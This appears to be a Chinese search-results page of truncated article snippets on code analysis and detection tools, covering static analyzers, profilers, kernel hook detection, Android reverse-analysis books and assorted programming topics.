  • 以下链接是个人关于行为分析(商用级别)所有见解,如有错误欢迎大家指出,我会第一时间纠正。有兴趣朋友可以加微信:a944284742相互讨论技术。若是帮助到了你什么,一定要记得点赞!因为这是对我最大鼓励。 行为...
  • 静态代码分析工具,它检查类或者 JAR 文件,将字节码一组缺陷模式进行对比以发现可能问题(先对编译后class进行扫描,然后进行对比),寻找出真正缺陷和潜在性能问题。在开发阶 段和维护阶段都可使用。 ...
  • 在Jupyter Notebook上使用Python实现...关于opencv库安装可以参考:Python下opencv库安装过程一些问题汇总。1.实现代码importcv2importnumpy as npimportmatplotlib.pyplot as plt#实现图片反色功能defPointIn...
  • 如果接收方关于一个块校验和它在发送方校验和相同时,接收方就向发送方发送一个认可字节。然而,这种对每个块都进行认可策略将导致低性能,特别是具有很长传播延迟卫星连接情况时,问题更加严重
  • 代码语法错误分析工具pclint8.0

    热门讨论 2010-06-29 07:00:09
    PC-Lint是C/C++软件代码静态分析工具,你可以把它看作是一种更加严格编译器。它不仅可以检查出一般语法错误,还可以检查出那些虽然符合语法要求但不易发现潜在错误。 C语言灵活性带来了代码效率提升,但...
  • 用来控制窗体显示和隐藏,常规思路:使用系统消息WM_MOUSELEAVE(鼠标离开)和WM_MOUSEHOVER(鼠标进入)来检测,具体做法就是在鼠标移动消息中增加如下代码: //打开鼠标进入离开消息监听 TRACKMOUSEEVENT...
  • 关于Sysenter、Kifastcallentry、中断之类内核入口hook技术早就烂大街了,可是对hook的检测与恢复代码却是寥寥无几,一切抛开代码将原理行为都是耍流氓。 下面以Sysenter hook技术为例子,重点分析下这类钩子...
  • 《Android软件安全与逆向分析》由浅入深、循序渐进地讲解了Android系统软件安全、逆向分析与加密解密技术。包括Android软件逆向分析和系统安全方面必备知识及概念、如何静态分析Android软件、如何动态调试...
  • phpcs-security-audit v3 关于 phpcs-security-audit是一组规则,用于... 它还允许查找某些面向对象的分析(例如 )未检测到的安全错误。 phpcs-security-audit最初由Pheromone(后来称为Floe Design + Technologie
  • 在Windows7操作系统下,支持网络类型越来越复杂,微软提供了WindowsAPICodePack来进行简化底层开发,我们大家来亲自实践一下关于网络状态开发,基于WindowsAPICodePack启动VS2010 基于WPF.net4.0创建一个应用...
  • 通常审核规则确定基于以下几个方面 关于调查主题专业知识 问卷和问题结构 其它相关调查或数据 统计理论如离群值的检测方法;数据收集完毕后对审核失效通常按下列方法进行处理 将其剔除 进行插补 设立特殊代码...
  • 延时任务处理通常包括如下几...下面分析下GCD中关于libdispatch延时任务处理方式。 下面这部分代码是根据自身需求,封装一个接口,基本能满足异步延时任务处理: void _dispatch_delayed(dispatch_time_t when,
  • UE4物理模块分析

    千次阅读 2017-10-15 18:28:29
    一.Mesh组件物理之间关系 关于UE物理基本使用,官方文档... 这里主要是从代码方面,简单分析一下UE4里面物理是如何使用生效,StaticMesh以及SkeletalMesh对应物理都是如何产生作用。第三部分...
  • 序言:写一些关于显著性检测的归纳理解,重在归纳分享。本文主要探讨bottom up模型,Top down模型研究较少,且难以解释。若有纰漏,欢迎读者批评指正! 1.概述 这里主要探讨bottom up模型 显著性最初起源于...
  • scalene:适用于Python高性能CPU和内存分析器 由 关于Scalene ... 大多数其他Python分析器不同,Scalene在行级别执行CPU性能分析,指向负责程序执行时间特定代码行。 大多数分析器返回功能级配
  • *5.6 C++处理字符串方法——字符串类字符串变量 5.6.1 字符串变量定义和引用 5.6.2 字符串变量运算 5.6.3 字符串数组 5.6.4 字符串运算举例 习题 第6章 指针 6.1 指针概念 6.2 变量指针 6.2.1 定义...

空空如也

空空如也

1 2 3 4 5 ... 9
收藏数 177
精华内容 70
关键字:

关于代码的分析与检测